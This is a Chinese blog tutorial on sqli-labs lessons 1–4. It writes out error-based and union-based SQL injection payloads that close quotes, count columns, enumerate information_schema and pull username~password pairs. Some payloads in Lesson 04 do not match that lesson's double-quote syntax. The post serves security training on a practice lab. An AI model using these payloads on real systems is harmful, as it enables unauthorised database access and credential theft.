Fork me on GitHub

sqli-labs-less01-04教程

一、Lesson-01- Error based - Single quetos - String(基于错误的GET单引号字符型注入)

(一) ?id=1

   SELECT * FROM users WHERE id='1' LIMIT 0,1  在右侧再加一个单引号

 

解析语句:

 

 

 

 limit 0,1:这里第一位代表从第几个开始,比如0代表从第一个开始

  第二位代表显示多少个数据,例如2代表显示两个数据。

 

 

 

 

(2)加上单引号

   ?id=1’

SELECT * FROM users WHERE id='1'' LIMIT 0,1

 

  说明存在注入漏洞

(3)加上or 1=1--+ 

    ?id=1 or 1=1--+

    SELECT * FROM users WHERE id='1 or 1=1-- ' LIMIT 0,1

 

 无错

   sql语句的注释符:--+;-- ;#

  or and:A or B 其中有一个正确,则返回正确

  A and B 两者都正确才返回正确

  因为1=1永真,所以用or 1=1可以对前面进行闭合,不管前面为什么,语句永远正确。

(4)加上 order by,查看有多少列 (第二步,判断列数)

  ?id=1' order by 3--+

  SELECT * FROM users WHERE id='1' order by 3-- ' LIMIT 0,1

 

 ?id=1' order by 4--+

   SELECT * FROM users WHERE id='1' order by 4-- ' LIMIT 0,1

 

 出错,第四列不存在,说明列数为3.由此来判断列数

order by是排序的意思,order by 1就是对第一列进行排序,order by 2就是对第二列进行排序,存在错误即代表没有这一列。

  猜解的方法是二分法,去半进行测试。

(5)加上 union select,查看哪些数据可以回显(第三步)

   ?id=1' union select 1,2,3--+

  SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1

 

 虽然显示正确,但是没有回显数据

  将前面的数据注释掉

  ?id=-1' union select 1,2,3--+

  SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1

 

 说明用户名和密码这两列有回显,可以进行递用

 

 

 

显示了2,3,说明了这两个位置是可以使用的。

(6)一些函数解析

A.system_user() /user()  显示系统用户

 

B.database()查看数据库

 

C. C.version()查看mysql版本信息

 

D. @@datadir 查看mysql的安装路径

 

 E.@@version_compile_os 查看当前的操作系统

 

(7)使用limit方法来获取数据(因为只能显示一行数据,所以1不变)

  ?id=-1' union select 1,2,schema_name from information_schema.schemata--+

  SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata-- ' LIMIT 0,1

 

 ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+

  SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 0,1-- ' LIMIT 0,1

 

取出第一个数据

  ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+

  SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 1,1-- ' LIMIT 0,1

 

 获取第二个数据

  ?id=-1' union select 1,2,schema_name from information_schema.schemata limit 2,1--+

  SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata limit 2,1-- ' LIMIT 0,1

 

 

 

 取出第三个数据

  这种方法有点慢,可以使用一个函数 group_concat(),将所有数据拼接在一起用一行显示出来。group_concat(schema_name)

  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

  SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- ' LIMIT 0,1

 

(8)使用的是security库,获取security库的表信息(执行查表操作)

  ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 ó ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

  SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1

 


  注意:'security'部分最后不要这样写,会引入单引号的问题,加上0x,将security转化成十六进制,用Encoding里的HEX Encoding,变成0x736563756972697479。执行的效果和上面的一样

 (9)因为取出的是users表的信息,所有对其执行查列操作

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

    SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- ' LIMIT 0,1

 

 (10)这个时候,直接取数据

    要想将username和password一并展现出来,使用另一个函数

    concat_ws(‘~’,A,B)  展现出的效果就是A~B

    ?id=-1' union select 1,2,concat_ws('~',username,password) from security.users--+

    SELECT * FROM users WHERE id='-1' union select 1,2,concat_ws('~',username,password) from security.users-- ' LIMIT 0,1

 

 (这个也只能展现一组数据,需要用group_concat()进行拼接)

  ?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

  SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users-- ' LIMIT 0,1

 

 这里还是推荐不使用单引号,将~转化为十六进制,0x7e

  到这Lesson 01结束

二、Lesson 02 Error based -Intiger based (基于错误的GET整型注入)

 (1)?id=1

    SELECT * FROM users WHERE id=1 LIMIT 0,1  右侧什么也不加

 

 (2)加上单引号

    ?id=1'

出现错误,说明存在注入漏洞。与第一个的错误不同,是多了一个单引号,所以不用这种方法。

 (3)加上order by语句  

    ?id=1 order by 3--+

    SELECT * FROM users WHERE id=1 order by 3-- LIMIT 0,1

 

4列就不行了

 

(4)用 union select 联合查询,有哪些地方回显

  ?id=-1 union select 1,2,3--+

  SELECT * FROM users WHERE id=-1 union select 1,2,3-- LIMIT 0,1

 

(5)继续查询(查库)

  ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

(6)继续查询(查表)

   ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+   security

 

(7)继续查询(查字段)

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+   users

 

(8)查询数据

  ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

 

Less-02结束

三、Lesson 03 Error based -Single quotes with twist string (基于错误的GET单引号变形字符型注入)

(1)  ?id=1 

  SELECT * FROM users WHERE id=('1') LIMIT 0,1  右侧加一个单引号,一个右括号

 

 (2)如果显示不出sql语句如何判断,还是先加单引号进行测试,看下面的报错信息

  SELECT * FROM users WHERE id=('1'') LIMIT 0,1

 

看下报错语句,发现漏洞,去掉双引号后,多了一个单引号,还有一个右括号

  (3)单引号和一个右括号并注释掉

    ?id=1')--+

    SELECT * FROM users WHERE id=('1')-- ') LIMIT 0,1

 

(4)order by 语句进行判断,依旧是3列

 

 

 (5)union select 语句进行联合查询,前面id 那里记得加上-号

  ?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+

  SELECT * FROM users WHERE id=('1') union select 1,2,group_concat(schema_name) from information_schema.schemata-- ') LIMIT 0,1

 

(6)常规操作(查表,查字段,查字段的值)

  ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

  ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

  ?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

  Lesson 03结束

四、Lesson 04 Error based -Double quotes - string (基于错误的GET双引号字符型注入)

(1)?id=1

  SELECT * FROM users WHERE id=("1") LIMIT 0,1  右侧加上双引号和一个右括号

 

 (2)加上单引号进行测试

    ?id=1'

 

 因为和双引号有关,加上双引号进行测试

  ?id=1"

 出现错误,发现漏洞

  加上一个双引号和一个右括号,注释掉

  ?id=1")--+

 

无错

(3)加上order by语句进行判断

    还是三列

?id=1") order by 3--+

 

 

(4)使用union select语句进行联合查询

    ?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

(5)常规操作(查表,查字段,查字段的值)

  ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

  ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

  ?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

  Lesson 04结束

 

posted @ 2021-02-28 22:48  小斗鸡  阅读(120)  评论(0)    收藏  举报
1